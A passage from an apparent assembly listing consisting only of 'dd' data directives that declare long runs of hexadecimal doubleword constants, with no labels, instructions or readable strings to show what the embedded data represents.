50BA5E4Fh, 47E22DCh dd 410DA400h, 0F12F806h, 0A89225h, 88BF92DDh, 152F4066h dd 0BC97C900h, 8D1BC88Fh, 6D3B00E8h, 0B5F6CE9Eh, 2B01D60Fh dd 46F42EFBh, 1A30CC57h, 86FF3E7Bh, 80883700h, 0C5515614h dd 329CEC00h, 72F29AACh, 0B462001Fh, 0B5FB041Ah, 64000A14h dd 0C28DBE9Ch, 23F4773h, 8A6A5042h, 86615D10h, 3358814Dh dd 30C54A25h, 7E552F0h, 31E191B6h, 0A9DAD706h, 0C75DBC0Fh dd 9097053Ch, 0B2D162FDh, 0C87C2D26h, 0E9448F05h, 3E09C052h dd 342F71h, 3208BE0Fh, 4D070101h, 9DE6142h, 11032091h dd 7E52AB00h, 590F49F4h, 6A780045h, 39368738h, 5400AA1Ah dd 3E97A690h, 0FC3D93C7h, 5B3100FBh, 0CD685825h, 8D001F73h dd 30D4DE03h, 584E6FA9h, 17009059h, 0A212F6D2h, 18078062h dd 0E018D07h, 6758ED10h, 605B0047h, 0B9DA2278h, 0B003E346h dd 0FE3D3EEFh, 5F4F88DCh, 7D7F01F9h, 87E5D0C5h, 209C61BDh dd 14799614h, 8C89A300h, 27F33AC1h, 0F6AD2492h, 357C8F04h dd 12F05F00h, 42006109h, 0A3F8368Ch, 3D345F6h, 0AF992EB4h dd 0ECE0549Fh, 9B14795Fh, 80B00571h, 61C8F52Bh, 1F50C0BFh dd 0EBEF2981h, 76DC9300h, 0AEA5047h, 4AB8A1E6h, 0F687A5D0h dd 347D4CC6h, 592DBB00h, 0FDB80419h, 808B553Fh, 1C7CAAD9h dd 601725h, 0B479E80h, 6EA477CFh, 0CC8E58h, 38BF6FADh dd 3FF692B8h, 0FF8091E6h, 803C49F9h, 9500F2A7h, 83F0CAB1h dd 6C02EFEh, 9D4F34E5h, 0A316787Eh, 0D0A8E62Dh, 99C8070Ch dd 0C900F1A0h, 2FF775B2h, 3B112005h, 0D10CD5E5h, 0FDE0F096h dd 9403C673h, 1FFBE4EBh, 0D10AE0D4h, 0C9E1131Ah, 4A0001FAh dd 0C8CB9511h, 91292CA9h, 6180D037h, 1013DE24h, 0AF9E0FC9h dd 40DF405Ah, 0C3A07BDAh, 0B7003FC7h, 0C5A59A32h, 83221Bh dd 8DD18AD2h, 2CE458ABh, 3F0E941Fh, 20B8B4C0h, 30C1BD4h dd 346F0BEFh, 84F86552h, 4177404Fh, 0F89E9900h, 6A7B3296h dd 8AFE2864h, 0EB98BBh, 0E613265Eh, 5F59856Fh, 0DD7880A0h dd 9D4E8F00h, 0B82E0227h, 0E654004Ch, 473B6BA4h, 2C0779C2h dd 0CAE21CFEh, 2F3C9500h, 78074DB3h, 92A43200h, 4B7E60C4h dd 80CD5700h, 0BA856340h, 537400ABh, 332A2E83h, 584CDFACh dd 80392686h, 0C78D2000h, 1CEDDF1h, 81FE521Dh, 7AF03364h dd 7DEFF0h, 0DF08D87Eh, 14A23AB0h, 0BA0A671Ch, 0F43F5D00h dd 7F3EC064h, 1DF9FAAAh, 0C7C75E0Fh, 0D1DDD9E7h, 0D431548Ah dd 77F6C2A5h, 0CADC9E00h, 0F35B08C8h, 3C1226A9h, 2FB60F44h dd 693479A2h, 48C8F8C3h, 0FF043870h, 4A87C28Ch, 0A806BDC0h dd 0D6D00037h, 0ECC77B27h, 9D75C0FFh, 4E0E0A01h, 3D0F5183h dd 0A47860E6h, 77347E4h, 3337C4Eh, 8AE8280h, 0EA5F0F69h dd 0CB004C77h, 0FE3978D2h, 0E33D1500h, 9FB73437h, 4A2D0F41h dd 0F1C3A03Ch, 3AA0B288h, 6E260C06h, 35087C0Fh, 0DF03780Eh dd 6364FB00h, 8578A868h, 0CDCF0E92h, 0FFFD5Dh, 0D6E17DA4h dd 9500B0F2h, 513E1E2Ah, 15BAD1Ah, 3B069617h, 210B9EEEh dd 0AFF000E3h, 34EAB4BEh, 7CB5DD00h, 3FE6E401h, 0BFF064h dd 9CE3195h, 0F2DA71CFh, 2BA70D00h, 766AB18Dh, 0C140389Fh dd 17075058h, 2003B666h, 0B5EB973h, 0CCFF59h, 4B1D7504h dd 3DE00Ch, 1176AB1Ch, 6B541E73h, 5697D52Dh, 21720EA9h dd 2B81565h, 0F60EBDC3h, 0F8CBC440h, 0C1C25E00h, 0B902A57Dh dd 1EF492DAh, 8090EA53h, 0AD14CA85h, 25EA6808h, 100775FCh dd 3F06F209h, 32B0C0AEh, 7686A84Ah, 3E2A178Eh, 0FFFD0FE1h dd 70504CA0h, 8C0949B6h, 7EB5163h, 0F559E964h, 0EC6BE201h dd 1AD8F8E3h, 0E6CD7D18h, 2E15D020h, 1E01B46h, 0F338C359h dd 301FC9D8h, 0BE59324Ch, 0F8AC00D8h, 37C46A16h, 0BF76F1h dd 51E123CCh, 856BC9Eh, 483E60B8h, 0A26D00C7h, 58C6F26Fh dd 0F549C0AAh, 0D9EB9D09h, 940030BAh, 1EC4D161h, 8BBD36h dd 8401C8A0h, 0EEC2D320h, 28952316h, 0EF117C00h, 18AC0E31h dd 90881D74h, 80FA17D6h, 0AA49C500h, 433F893Dh, 0FB970E18h dd 0E280269Fh, 88D93187h, 24705961h, 2FE59391h, 675A1180h dd 22B981ACh, 78920F0Eh, 4CA0C012h, 6154F3h, 3A972CF0h dd 3FA875Eh, 0C07F1600h, 1913A8F8h, 0A68900D2h, 1BF302CAh dd 0EC00E811h, 7FAF0A76h, 4C9DBE78h, 0B3B681Dh, 2462B800h dd 0D49034D5h, 58852700h, 0E2991AEEh, 0A8413D67h, 733FEF80h dd 0F70F03A0h, 0ADAAA61Ch, 67162640h, 326007h, 362F47D8h dd 0EC240DE5h, 5973A800h, 0B52253F4h, 3BDCB0DCh, 6D80D966h dd 0CEB445D2h, 6F009631h, 0F3BC85FAh, 75A4DC13h, 9C5D0093h dd 0B6DEAF27h, 53002947h, 0B3546CF0h, 1E697B76h, 0DD819409h dd 13950FDh, 0D9118FFAh, 15F49963h, 5AC40721h, 718DE83Eh dd 0D43A3112h, 0B5000582h, 1AC3D658h, 0FB7E4Ah, 5B148536h dd 0E751E09Bh, 0B8D2AD04h, 38807728h, 0F08A7h, 4B0C023h dd 0B332AE61h, 0E25085FCh, 3B07A291h, 427B45B4h, 0AEE11D10h dd 8DD268Ch, 0B3EC0191h, 61410A96h, 723450B1h, 0FB00A15Ah dd 0E30ED99Bh, 73480DC1h, 37498C9h, 0F4BAD8E5h, 81D0EAFDh dd 0C00A385h, 0D3679C32h, 17A836A7h, 0D78051h, 5A66BDFCh dd 67E576Fh, 9B20DC18h, 241505B4h, 1F571BF2h, 0F078B7E5h dd 4150F1ECh, 5D556A00h, 76B78FA8h, 5902249Bh, 0C0391F7Dh dd 83CED5B3h, 3F0047A0h, 0B871A323h, 71A5DBAh, 9FEB2130h dd 6AFA1052h, 0A2281ED4h, 12E494C3h, 665B2600h, 0AE0A89CAh dd 0B7B8AAh, 0ECABE325h, 7D4C5385h, 0F91E2FB0h, 4DC09D77h dd 6BADD419h, 311F17F4h, 0D74A0E9Bh, 8CD33683h, 0A0995CD8h dd 32275000h, 3BFF806h, 3A59009Eh, 40EB4976h, 0E2CC3BBh dd 0F001CA2h, 817D5DEDh, 426A014Ch, 984522A5h, 27EE3058h dd 0F14BDF0Ah, 2C00B403h, 34831A84h, 1D5CB012h, 0C0FA8AAEh dd 0E3516BA9h, 17503FB3h, 0EC02759Ch, 1996D2E8h, 184505Ch dd 57F0733h, 0CCA84C85h, 6701686Dh, 5BB89BEFh, 6870201Ah dd 71D00074h, 4C5232FDh, 0B007042h, 78BD859Bh, 3D4111B8h dd 0CA8C6561h, 0AA589D2Ah, 0DE13067Dh, 1000448Ah, 0A2AD909Ah dd 784B004Fh, 0FF09C0D3h, 0EF0FBD33h, 80CAE304h, 20BFCF9Dh dd 0BB40082h, 25F783AAh, 0C500B508h, 0A65558C2h, 46C400Eh dd 0D5A9D3D7h, 4F19C0F1h, 6400BA7Eh, 44E4BB5Ah, 0A088E51Eh dd 2625A4h, 95794C24h, 20726C46h, 82B49860h, 0B2AC06h dd 32CCA3ABh, 11358019h, 6A9F7200h, 0B1CAD1E3h, 4FBA003Dh dd 818423C8h, 0E779BD9h, 83C2820Fh, 0BA1DA03Ah, 0F2852810h dd 693300F8h, 8024A2AAh, 6AFE46FEh, 7A009AE2h, 0E80C5231h dd 485B2DC6h, 858E9C9Fh, 0A0435109h, 3E8D1CF8h, 29866900h dd 7F0DA22Fh, 78910F6Eh, 636FB5F6h, 3BF439E0h, 2300D2C4h dd 0FEF18CDFh, 17B3B204h, 25B5206h, 96D80340h, 63DA1800h dd 6549017Eh, 2F678608h, 2C5Eh, 0F003834Ch, 70C702D6h dd 0F7420054h, 0B44E7EE9h, 0B81FC4F9h, 5F40CC30h, 0AB233572h dd 947C9CB0h, 8600E02Ch dd 18F8F541h, 766016ECh, 3171EFA8h, 75C503E4h, 0AEB62670h dd 7CBF5FE0h, 73AA8700h, 9B4D3876h, 67B40074h, 4B7F0C6Eh dd 0B12A48DFh, 7313C411h, 0E8007520h, 614CCE51h, 0BC98D9h dd 79EF6D4Ah, 0DA8F3918h, 0CA000472h, 0C0B069C5h, 99261Ah dd 104FDF60h, 0AB1DD6E6h, 9368CE00h, 0E9A024C7h, 0F63800B1h dd 5840873Dh, 0F4404E41h, 0BE3B008Eh, 7BAB8DD8h, 1E001FADh dd 6965BBA9h, 4E43E47Ch, 26EC0EC2h, 6F00582Fh, 42A23F9Ah dd 935E6200h, 752EB9EAh, 0D78C0299h, 58604A40h, 20389841h dd 1900DC18h, 0AB1EC99Eh, 583336CCh, 30990E2h, 0C8C0B01Ch dd 87038489h, 0CEA40935h, 82F0900Eh, 4E970344h, 28BA0678h dd 0E9A23202h, 0C05456ACh, 1F9C207h, 7493ADC1h, 0C5732153h dd 31AE40C8h, 0D07CD5Bh, 0A5A804EEh, 1888005Eh, 768E7FBh dd 0A3F67D92h, 27853Dh, 3EC901C8h, 1A005933h, 75D34786h dd 0BC17A5h, 0FF03A46Ch, 372BF508h, 0AE0186FCh, 0E8BD6BA1h dd 832A68A6h, 8BD089F4h, 0DB01B702h, 0CA36600Fh, 0A8684D50h dd 3A00964Ch, 0CD173873h, 4831A3F1h, 0D4AD288Bh, 0CFE5C60h dd 2C71AB9Ch, 6F2A990h, 5F11080Bh, 0E7200088h, 0D066CCDAh dd 4800A5CAh, 0BA46BC70h, 0AC004E03h, 0B6536D0Ah, 0C98F4Ch dd 630FB89Ah, 1CDB218Dh, 0E498E900h, 7684407Eh, 0ADE483h dd 0D687EEEFh, 585FFC6Dh, 0A1780200h, 0DE2F70FDh, 5BAC00AEh dd 68C74BD8h, 9E1E45DDh, 0E0409C27h, 6AAE7CDFh, 0A7F503CFh dd 81CC68D2h, 5F6522A8h, 0AB0BA50Fh, 4123E0C6h, 74A9B9h dd 4AC0CD9Bh, 0CCC1DEEh, 0E403207Ch, 8C6189Ah, 7A86E082h dd 5B17004Fh, 0E6B87BF7h, 0BE002AE9h, 0A138AD50h, 111AC5Ch dd 0E174792Fh, 0C013C39Ch, 9A0FE856h, 4051C9E5h, 2F1E656Fh dd 19E33DD9h, 6366F100h, 0C5EF3F4Fh, 40493E00h, 0D670E907h dd 0F6440115h, 0F13B7AFCh, 0EF507052h, 0E190B274h, 3619CF00h dd 5BF8E948h, 910200A3h, 0F2D130EAh, 8000529Ch, 0B0CFCE90h dd 92295Ch, 0FA4B7E12h, 0BBF6D1Ch, 83D6B800h, 33550E5Bh dd 30584C7Ch, 8123B107h, 74166218h, 68E88A60h, 0A59039h dd 97710EB9h, 851BE0h, 3320DFE4h, 9E4AE889h, 2B1FC100h dd 0A1AD93EBh, 79B62E21h, 0ECFE00ACh, 0DEAADB67h, 947AF405h dd 30C0778Fh, 406A274Eh, 7B00FAD0h, 0E38CC092h, 2820CCB5h dd 1CCCBC50h, 80B77D32h, 0EEBF0CE2h, 3898DEEBh, 0C0349702h dd 0C01DA73Dh, 55DC94h, 0F2E0BD3Ah, 3B1B2103h, 0E4F7B900h dd 54E96B79h, 8C9808h, 43E5DE5Eh, 0D3D6B650h, 47A1C21Eh dd 0CF0912C0h, 5D15AA1Dh, 0FD00A4B0h, 175593CEh, 0B80F35E6h dd 809D5BD7h, 0AE94333h, 1D1815FEh, 0A020181Bh, 74A1E740h dd 23A90777h, 8C88DF6Ah, 1C50AA18h, 3300C018h, 0CB30FAF1h dd 59580992h, 17710DFh, 0A5B90498h, 0FC34DC4Fh, 11C105D0h dd 0F823D8A4h, 123BD0CBh, 0C4FE181Fh, 0A8173892h, 0E33148A8h dd 2853DD14h, 0B855B758h, 34C71C1Fh, 96B01ED0h, 971147h dd 0D565F812h, 0C729E667h, 5C178B0Fh, 0B2CE005Dh, 77CD88Fh dd 0C2EFA1C5h, 1C000BABh, 0A4E57812h, 9C00797Bh, 0FD9E6569h dd 17E8ED5h, 0C34D7E1h, 7B800998h, 70919380h, 79BF00AAh dd 0FE544969h, 5F00B28Eh, 7445B7C6h, 0F90AFDh, 19D3286h dd 0C1CD557Eh, 50276F00h, 898B2BE4h, 0C33B0053h, 0FCA5E306h dd 0E53C492Ch, 9A440021h, 0BAD75C1Bh, 3701124Ch, 4B1C0098h dd 0D4669E0h, 6B423F00h, 0EFAD5E5h, 269C1502h, 300A889Dh dd 694A877h, 0F0AB80BAh, 1B4923Dh, 0F07FAC73h, 30C1B33Ah dd 0DFC12C0h, 0A638B796h, 29ED0629h, 223E3522h, 7C225FB4h dd 346C22FFh, 42380222h, 1A5E0878h, 28513990h, 0C4A39160h dd 4E5ECC28h, 8451D849h, 15808336h, 81980190h, 5D861C01h dd 9DC5DB71h, 595F8h, 4BA177E5h, 8B4B38Ah, 343F48h, 9CAA532Ch dd 0F4D364D6h, 89A70095h, 636015Bh, 720727D9h, 0A6C5E634h dd 2EB1FA50h, 544F000Ah, 0F828FD84h, 3400A746h, 86CC5BFFh dd 0C6B83Fh, 5E37D29Fh, 6BDCD85h, 5CE7F63Ah, 4C470164h dd 8EF4835Dh, 187CAD8h, 0E39A30Dh, 40DEE972h, 3C7149C9h dd 3E55F51Bh, 4D83A818h, 39D600FBh, 0DBAC46A6h, 0EB3AC880h dd 38040A4Ah, 971FE0EEh, 2F19A87h, 44FA1D70h, 0F833FCA7h dd 3F6F89Dh, 0CBAFDD2Ch, 800E21EAh, 0E003087Bh, 722B1E90h dd 6EE3001Dh, 812AE786h, 51017866h, 0EEF73565h, 7271FB69h dd 0CFA448FEh, 4E7C00EFh, 0DF0561B0h, 0CEB8C379h, 39E09B00h dd 1D38B385h, 7B0C0087h, 24E77199h, 0A675D2ADh, 8B9A083Bh dd 7A8DDDh, 280ED5Fh, 0A26C58AFh, 7B740074h, 92911333h dd 6A727686h, 56E7B600h, 63A5A28Dh, 447D7Ah, 0D6684520h dd 0FE27B0A8h, 0E802DD00h, 0D7A2573Dh, 15CC0051h, 6DD0C33Eh dd 0FA000A26h, 4FD8FFCBh, 1DD8BCAh, 0A89C5BB5h, 0D06E06BCh dd 7C0F21B2h, 0A00BE5B6h, 1FEB7875h, 58E00A0h, 81A3417Fh dd 0CC3D2608h, 104E0352h, 0A8D650CBh, 0AC0B14h, 0AAE8DEE2h dd 38DA0C8Fh, 6BC19B00h, 55826C84h, 416A0042h, 4CCCEBDFh dd 7C98FA2Ch, 23B85607h, 88604987h, 43E0ECh, 1021ABAEh dd 0D419B36Ah, 0C5DC8500h, 32C0EE97h, 8C410070h, 5A64CD3Bh dd 959A0D74h, 0DC8D2202h, 4093016Bh, 7FFC713h, 0BE73B427h dd 7C8283D5h, 22F52EE9h, 2DA9C004h, 1CDBEAAh, 0A56D393Ah dd 709B0493h, 3BE28B6Ch, 6E36D100h, 0F7CBE0FFh, 9937077Ch dd 3786A5EDh, 8180A039h, 0D0001FF6h, 6412BE67h, 222190Ah dd 3327CEA7h, 904641ACh, 2BC5BA00h, 68D42B4h, 1EA100D6h dd 5143807h, 0CC001C20h, 0D3024C50h, 864583h, 5D341D3Dh dd 85C77059h, 0FD2EBCA0h, 67772500h, 0F9B1C58Bh, 0DDDA24BEh dd 0D1870018h, 14BD3127h, 3BC9491Fh, 0C11F8500h, 22AB30h dd 1B4FA972h, 0F332F904h, 7D834D00h, 145575D3h, 9E60038Fh dd 62C9890Eh, 0F06A36E8h, 571A601h, 0E19DD113h, 0B319FCh dd 884CE94Dh, 1B18D3EDh, 0D30471Ch, 124E7A43h, 61F8A09Ah dd 0F5C600BCh, 30B70EF9h, 1378FC44h, 7DCE5C02h, 40281FD6h dd 28E7749h, 0A49E6A46h, 8CC80B66h, 0B47E8826h, 58225900h dd 0FF13B09Ch, 0A0F1003Eh, 84FC63F9h, 163D4D28h, 0F300FF27h dd 8C7C1160h, 0AAF510h, 439D3DC4h, 0BFA19255h, 7E483B7Fh dd 4B73F10h, 0ECF220D8h, 45124980h, 0F2F4E47Ah, 4FBE0382h dd 93D7FEE3h, 0D80F3AB8h, 7E25D509h, 24EF0BAh, 0E2C14229h dd 0EC91DAA8h, 0FA2BC8B3h, 71C0D100h, 1CE35F09h, 775D0EF4h dd 3720703Ch, 0CCB0EC32h, 0D873B702h, 40DB8EF3h, 18FE438h dd 7B3A51A2h, 21BAA68Ch, 65E7D834h, 1AB8C57Ah, 29737E00h dd 58786E0Dh, 98E4E434h, 49900045h, 2C845FFh, 0A00056FEh dd 0ED9597FBh, 0AB1F23h, 0D9F4B510h, 0D1EDE76h, 26D32800h dd 0FB9B5553h, 0B0CC00F5h, 44C4E1DDh, 5B00A6F4h, 0AF17151h dd 0DB6CFDh, 19B60CD8h, 22ECAC6Dh, 0D2A2FB04h, 0D4D03B4Fh dd 40F4B4DCh, 0DA3AFF6Bh, 834805Ah, 22F3A6F8h, 7FB00Ah dd 72F4C073h, 23C61AFh, 0D2EB7500h, 0BBD69B59h, 7F777CB8h dd 2E560030h, 0F533E386h, 0A600A92Ah, 0B28B2F9Ah, 0F6E4DF72h dd 54CC1F9Dh, 9B1683D6h, 94D05B0Ah, 0C300925Ch, 1D87C24Ah dd 7FAAF7B3h, 7AE72825h, 941B0180h, 3DB70FAh, 357C30CAh dd 37E6B701h dd 0A5E0BA6h, 8E94E8D6h, 1D5D28CAh, 48DDFAF4h, 59090025h dd 0B000858Ah, 0A2BB1FC9h, 0DFB77A07h, 0C621337Fh, 28808988h dd 0FF181462h, 25000A91h, 595C7969h, 98F7277Eh, 3F610038h dd 0FD0676A8h, 0E71762DCh, 0C481D47Ch, 803457EEh, 0B4731F19h dd 0B35218h, 9B3B9580h, 400743B1h, 68C89DA1h, 333FAA20h dd 48C30054h, 0D64C325Ah, 0DD3E65AEh, 0E3A180C9h, 46A72A5Ch dd 8FEA074Fh, 80823414h, 5FA24548h, 87B11F05h, 0BC0DD90h dd 0C09F7BB5h, 8F2873D8h, 81009D95h, 961808F1h, 31E0A9Ch dd 97305EACh, 95F2491Ch, 3CBE1B60h, 0BF78DE0Fh, 905043B1h dd 0FE5982Bh, 9AD80029h, 0A204C931h, 4400D5DBh, 0AFEF7485h dd 1E4850F9h, 850297E1h, 80A058A9h, 7A2A6438h, 0BAFF700h dd 0FC89C53Fh, 0BCF30787h, 0C15CF46Ah, 0EC18D7FDh, 0FE0191FBh dd 0B771CBA5h, 6CF0FA68h, 67D90093h, 0F94D3FD6h, 0CF00272Eh dd 9CCD9DA6h, 1F905216h, 80CC5C44h, 1708B601h, 40E9614Ah dd 20D4ACC0h, 152E9507h, 0AC06FEAh, 5A7787h, 0A42DBE92h dd 0E8CF20C4h, 0B7F92500h, 6124BB33h, 3F280039h, 0AD98D91Fh dd 660EE2E7h, 67B634F9h, 72F10F67h, 0C6C6DA20h, 564D40h dd 47517700h, 0A1ABE8F8h, 80E5F239h, 7B870837h, 0FA8F92h dd 314C8166h, 0DEAD1F0h, 0E0404909h, 0DE500024h, 3AC55D10h dd 3800698Eh, 0C60575C8h, 731FAB28h, 368753DAh, 3AE04F56h dd 9BD9D67h, 0EE17948Dh, 1288301h, 0C0A8472Ah, 42EF2762h dd 0ED30150Ch, 7E7B50ECh, 0E88E00C1h, 708ADDDBh, 6700BE08h dd 225D5705h, 0FE6685h, 73073877h, 583BBBEEh, 57151A00h dd 0B0304370h, 9A9805FDh, 0E0FF5186h, 0C400121Ch, 26AD825Fh dd 0D4E874h, 0BD8FB1EFh, 0FD50C5A4h, 0D8928800h, 4C8A83B9h dd 9D643DF7h, 0D0A14F00h, 9159803Fh, 4DC19C1Dh, 75671005h dd 0C473FC90h, 0C782002Ch, 4F3CBF27h, 970031C5h, 0B96C17EBh dd 5879F7A8h, 4E0F2B1Dh, 0A60F1398h, 0F3A7ED67h, 31D188FFh dd 4BC450A2h, 0C100D324h, 5322611Dh, 680FBh, 2573DF6Bh dd 0D0F00BCBh, 2D289494h, 973B6118h, 0B0592D88h, 0C322C048h dd 0A1412A38h, 52625C05h, 1F807368h, 772D67B2h, 0F1790004h dd 6FE98ACh, 0B4047CFBh, 0A1A83DDDh, 432AEAC0h, 3F1A00F2h dd 8AD1F396h, 0E6048BDAh, 0A882F49Bh, 2EBB6580h, 917200A0h dd 2192C35Eh, 0EC00111Ch, 0E9C8489Bh, 0EF06D0h, 0D5B7B023h dd 0BBAAA18Eh, 83ADA73Ch, 3D244047h, 5D0BF8F1h, 1D8C0121h dd 0FE5956D4h, 92DACCB1h, 18416200h, 6495C3C8h, 7053EE93h dd 683400AAh, 7B3F243Eh, 0E300D7F2h, 0C854486Fh, 3C97F1B5h dd 6A8044B7h, 815E7A22h, 630033A3h, 1E71A0A7h, 609C8Dh dd 4393E586h, 8B53C1F6h, 0AEA46901h, 33D5B30Bh, 0EADC72E1h dd 0E7C3002Ch, 0ECBDBBC4h, 681C9179h, 0B9D88143h, 31A770h dd 1664746Dh, 84658C69h, 7F9C724Ch, 9E20AB00h, 8AD5875Bh dd 514F0082h, 8C0AF49Ah, 0EB76892Eh, 16359100h, 20DB31D1h dd 26600028h, 469CA2DFh, 4E039FE6h, 84E0C934h, 9D2000D9h dd 14805B77h, 35761688h, 5D00BEFCh, 210AF06Dh, 502854D2h dd 2C9439h, 0F82588C2h, 45E17273h, 811DC300h, 2B9948FDh dd 0BC2C000Fh, 0F2D9B4DFh, 0B00E650h, 5C619388h, 77329Ah dd 713F2620h, 0B076B954h, 0E3014907h, 0F5701F72h, 3CA3C1h dd 0BF892063h, 0E9BEFABAh, 0E6B3C400h, 168EFE34h, 2820194h dd 9284A978h, 0D6D7C4A4h, 0A65DD00h, 0E73B81E3h, 5236016Ah dd 0A46B4E9Bh, 0FEC6E0F4h, 970003EAh, 28ACB8BFh, 38D2FA64h dd 247E1CF8h, 768929h, 0C567186Eh, 0A47AF31Eh, 0C080BB00h dd 4785BC9Bh, 55E01F91h, 0FE1C00A5h, 0A2FF686Ch, 39040300h dd 10021469h, 494B00DEh, 0D00EA3F2h, 0A2003B7Fh, 8240652Fh dd 0F415B816h, 8B1D078Fh, 0A1F342FAh, 0F4584960h, 0A00575Ch dd 361CEFEAh, 871F27h, 1ED4ECAFh, 0F5DC933h, 9A03F3Fh dd 809298A3h, 2CC35F8h, 55A600FBh, 156A1869h, 0DD788B9Fh dd 10B92D07h, 0E4E0CD13h, 0D04871h, 0FED82AF1h, 0F5855EC3h dd 87A2A900h, 4064AE6Fh, 23050009h, 622FDCF2h, 0C0008DCBh dd 8A468473h, 0F29E42B4h, 64E600F0h, 48F2A5EBh, 3D0014D2h dd 0EA8A44F5h, 15A9FB49h, 94E43315h, 0C50126h, 0C2F9E0C8h dd 0D47F4737h, 6C582200h, 0AE656041h, 342000D3h, 0D231C0E1h dd 79EA2CA6h, 0A38D3300h, 0A54A128Eh, 6A0F00B3h, 0F02D7C94h dd 130055D5h, 41C5A8CCh, 0E2CBD6h, 0AC06F24Eh, 0F8A3485Dh dd 0DC2B420Eh, 0AB8982F0h, 0D3A1E059h, 0C3639BDh, 710FB980h dd 0FAEBA96Ah, 73F07C00h, 80B17E98h, 567D00B4h, 0FC790A13h dd 830EAC4Fh, 6EDB74F2h, 50070040h, 3B12EAFh, 6D4E37BBh dd 78002694h, 74A9F3B2h, 0E133676h, 113EB01Dh, 0B9D1C720h dd 0B83CF7BDh, 0F0C4872Ch, 6560A26Fh, 7DF2310Eh, 8C140018h dd 0F70ADD57h, 6EE26390h, 0D2004579h, 56CE4B9Bh, 60BDB57Ah dd 8AC38A1h, 0A40531EFh, 2E7F03E9h, 5113B801h, 0A6002F2h dd 320A0028h, 0EB7B0515h, 0B7FAEEC0h, 5E00B8F0h, 0CCFEC5E9h dd 1C24A963h, 4376B119h, 4D68A407h, 0D009CD6h, 0BEB93761h dd 3992A7F3h, 0F47BB132h, 65E1305Dh, 0C5702FA2h, 0BA0FC373h dd 0A0923920h, 0D661658h, 179A1E44h, 84F4014h, 0D0634ACFh dd 5933D300h, 9512619Bh, 9EBA0B66h, 9B80AEEAh, 42449262h dd 72EF7D00h, 6DAAC10Eh, 0C8871F3Dh, 40775E57h, 7A6499DEh dd 3F016592h, 0E1102C7Dh, 8DF46AF0h, 934400A9h, 295C6D38h dd 0CCEC320Dh, 0CD3DBC00h, 0B196C283h, 6E03003Bh, 73AEF778h dd 0BE00535Ch, 0CC214AC8h, 5CB69144h, 2000CDD8h, 893DDAE7h dd 0F43C2B52h, 0CFF58007h, 0B77EFB73h, 17ED3E51h, 0B3624080h dd 945633B2h, 1531300h, 7E08428Bh, 2CE40718h, 0E457BA37h dd 0F154C085h, 0C1005EC8h, 0A639740Bh, 3CD72036h, 0E1802151h dd 723B97A1h, 7000F196h, 77187AF5h, 288CAF85h, 0E196D041h dd 4F422080h, 0D18D91ABh, 2237B800h, 540FCC9Bh, 0F074F00Ah dd 0CD30098h, 7B978253h, 6039D71Bh, 0B22E07E3h, 0D14010E9h dd 70D824FBh, 39BF583Dh, 0E3A39C00h, 0EEAB0BE0h, 5C435700h dd 0BE7A85F1h, 0F87400FCh, 0C73FF531h, 46FEDEABh, 0D7F03Ch dd 57D4789Bh, 2FA4A4Ch, 0B913C51Fh, 0D7C0E3EEh, 31DD8EDh dd 0C0129D0h, 9FF5C174h, 932D730h, 760DDDD7h, 8EFA5F80h dd 0B000B56Bh, 0BDE30368h, 1E35E582h, 80946EB3h, 8E8BAC8Fh dd 3900ED33h, 0F8D373E3h, 0A2C7E0h, 94656953h, 0A666585Ah dd 7E213F03h, 7FA07CBDh, 0A2C0030h, 0E87736A9h, 90015AAh dd 355DF2FBh, 0EC48C22Ah, 9A55009Bh, 10E01972h, 0CE0038F5h dd 2D2E3181h, 7B5A35h, 931F1C77h, 9D9CACCDh, 0F77F9F6h dd 10B2090h, 0DD1978h, 5E0B87D6h, 0C58C003Bh, 974D75E5h dd 16C0C262h, 2CD807C7h, 0F57700BDh, 66B30E2Eh, 5000045Fh dd 3C633943h, 282302E2h, 78CE3658h, 57EC5C7Fh, 61D79B00h dd 9F96A13Ah, 0B20A2E00h, 5A08239Ah, 0C1F100C3h, 5D7B228Fh dd 307FBC3Bh, 0EB7E2400h, 6E992C9h, 2CAE00CAh, 3A916557h dd 8600E2F6h, 0BF4D7B75h, 13D538F4h, 0E6C88CDh, 0F0E9DD6Ch dd 17C15403h, 0D8100EC1h, 7500BD0Dh, 3669FACh, 39B6CCh dd 0DC48CF19h, 0D772611Fh, 5806D23Dh, 45A70038h, 36AAECBBh dd 75F500A6h, 97A2B4DBh dd 510040FFh, 6B529986h, 0E0BD24h, 0B084F5CFh, 0F6E64CF7h dd 81C00178h, 5463DE77h, 8BA70705h, 0AFF326B3h, 43C07980h dd 0DA144FA6h, 91875F6h, 8F63D241h, 47CD0018h, 74CF6015h dd 28B71FE7h, 516D47E9h, 0D3D277AFh, 3AF07498h, 0B2017847h dd 0EDC4C6F6h, 0EFD4C102h, 2DB41F58h, 58D8045h, 0C93D98Ch dd 75A5E3Eh, 237C36C5h, 951571B0h, 0C07F60A4h, 0B1603872h dd 5C038826h, 53040C83h, 0EDC3EF09h, 0A1206674h, 0B31F9899h dd 43143ACEh, 1AE1000Ch, 0F7A886F5h, 5883F17Dh, 0CD2081BEh dd 4C742024h, 0C1696100h, 0EA63DFB6h, 4FE889h, 7538F7D7h dd 491E9F16h, 600A879h, 637AE096h, 78A4C0h, 2DBAF0DAh dd 4CEF65C2h, 0EB42770Eh, 3280FB9h, 0C021E151h, 1238EC6h dd 7F720B96h, 0E492E5A2h, 3700B2B7h, 3FF63DA0h, 222A9CAh dd 2AEE0294h, 0D607481h, 0D1077BEBh, 5F920F4Fh, 483CA221h dd 28156FC0h, 0A12491h, 46E46020h, 14331330h, 26FA8D01h dd 3D6687AFh, 21EDE0h, 0EC0B6E89h, 33EADBADh, 9A156100h dd 2757D224h, 2370610h, 0A03C6C7Dh, 802FC43Eh, 7AD8141Fh dd 587EE2h, 44B1360Bh, 0A2CC3318h, 0C1C57B01h, 320EAAA9h dd 6EE1C9C7h, 0BC45F8h, 25412FD0h, 11743E6Ch, 3400B8F6h dd 77CE8A18h, 1B64449h, 0D990023Ch, 0E89278F0h, 28282CF3h dd 5600F4FEh, 0F8CE0534h, 60716BE4h, 0D163BC9Fh, 2E006504h dd 0C1767BC7h, 0C8077559h, 0FB426F29h, 212324C7h, 131170BBh dd 0C2D9116Ch, 2C118F12h, 22843708h, 8B22C897h, 75C0227Eh dd 2E11FB42h, 89721CBh, 0FF901CDEh, 2891938Eh, 67223C73h dd 72E32069h, 0E0B31E00h, 9E6C5597h, 18B200AAh, 13BE5CFDh dd 0F30077DEh, 700A7ECBh, 6BD56Eh, 54F5D652h, 221B8DC4h dd 39A22700h, 434D054Bh, 3E2EE62Ah, 4E00F4EAh, 328A641Ah dd 41FE0BC3h, 7AC2EE00h, 74842955h, 